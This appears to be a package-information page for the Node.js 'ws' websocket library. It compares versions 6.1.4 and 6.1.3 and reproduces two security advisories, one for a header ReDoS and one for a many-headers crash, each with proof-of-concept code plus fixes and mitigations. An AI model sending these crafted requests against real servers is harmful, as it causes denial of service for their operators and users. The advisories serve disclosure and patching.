Ws versions 6.1.4 and 6.1.3 offer a robust websocket solution for Node.js developers seeking a fast and reliable communication layer. Both versions share the same core description: a "Simple to use, blazing fast and thoroughly tested websocket client and server". They also rely on the "async-limiter" dependency at approximately version 1.0.0. The key differences primarily lie in the development dependencies, indicating improvements and refinements in the development process rather than significant API changes directly affecting end-users building websocket applications.
Specifically, version 6.1.4 upgrades nyc from 13.1.0 to 13.3.0 and eslint from 5.12.0 to 5.14.0. Furthermore, eslint-config-prettier sees an update from 3.6.0 to 4.0.0. These updates likely incorporate enhanced code coverage reporting, improved code linting rules, and better integration between ESLint and Prettier, leading to more consistent code formatting and potentially fewer code quality issues. Crucially, both versions specify the same versions for bufferutil and utf-8-validate, modules that provide native extensions for faster buffer manipulation and UTF-8 validation, ensuring efficient websocket communication. Version 6.1.4 was released on Feb 16, 2019, while 6.1.3 was released on Jan 24, 2019. The unpacked size is marginally different, but negligible (100922 versus 100829), showing that is is most likely a patch version. For developers, consider the updated tooling if contributing or maintaining the library, but the choice between the two likely holds minimal impact at runtime for typical use cases.
All the vulnerabilities related to the version 6.1.4 of the package
ReDoS in Sec-Websocket-Protocol header
A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
The vulnerability was fixed in ws@7.4.6 (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff) and backported to ws@6.2.2 (https://github.com/websockets/ws/commit/78c676d2a1acefbc05292e9f7ea0a9457704bf1b) and ws@5.2.3 (https://github.com/websockets/ws/commit/76d47c1479002022a3e4357b3c9f0e23a68d4cd2).
In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.
The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.